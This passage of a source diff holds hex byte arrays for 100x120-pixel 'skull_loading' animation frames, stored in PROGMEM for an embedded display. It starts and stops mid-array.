0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x88, 0x43, 0x08, 0x02, 0x10, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x40, 0x02, 0x96, 0x10, 0x20, 0x20, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x84, 0x73, 0x0c, 0x40, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x84, 0x63, 0x0c, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x94, + 0x94, 0x20, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x21, 0x0c, 0x00, 0x40, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x40, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, + 0x08, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x81, 0x80, 0x00, 0x00, 0x80, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, + 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x46, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xc3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, + 0xc3, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x25, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x44, 0x00, 0x00, 0x01, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, + 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, + 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x10, 0x00, 0xe7, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x12, 0x52, 0x00, 0x25, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0c, 0x60, 0x00, 0x63, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, + 0x60, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x1a, 0x00, 0x04, 0x80, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x00, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x03, 0x08, 0x00, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x42, 0x08, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, + 0x08, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x10, 0x86, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x0c, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x63, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x02, 0x42, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x03, 0x08, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'skull_loading_6', 100x120px +const unsigned char bitmap_icon_skull_loading_6 [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x10, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x40, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x00, 0xc2, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x03, 0x00, 0xc2, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0x80, + 0x02, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x60, 0x10, 0x00, 0x8c, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xe0, 0x10, 0x01, 0x8c, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x02, 0x0c, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, + 0x04, 0x0a, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x88, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x20, 0x00, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, + 0x00, 0x00, 0x00, 0x21, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x60, 0x00, 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, + 0xc0, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x80, 0x10, 0x08, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x42, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xc3, 0x00, 0x02, 0x08, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x41, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, + 0x18, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, + 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x62, 0x10, 0x00, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x90, 0x80, 0x11, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x08, 0x82, 0x18, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x08, 0x84, + 0x10, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x80, 0x25, 0x21, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x23, 0x10, 0x44, 0x00, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x10, 0x41, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x80, 0x27, 0x09, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc2, 0x18, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x84, 0x08, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x02, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x80, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x10, 0x00, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x02, 0x18, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, + 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x10, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xc0, 0x08, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, + 0x02, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x08, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0a, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, + 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x85, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x88, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x08, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x04, 0xa1, 0x08, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x18, + 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x30, 0xc0, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'skull_loading_7', 100x120px +const unsigned char bitmap_icon_skull_loading_7 [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x06, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x10, 0x40, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x10, + 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x20, 0x0a, 0x40, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x60, 0x80, 0x01, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, + 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x84, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x06, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x40, 0x00, 0x86, 0x01, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, + 0x00, 0x00, 0x01, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x20, 0x00, 0x00, + 0x00, 0x20, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x44, 0x00, 0x00, 0x00, 0x00, 0x80, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 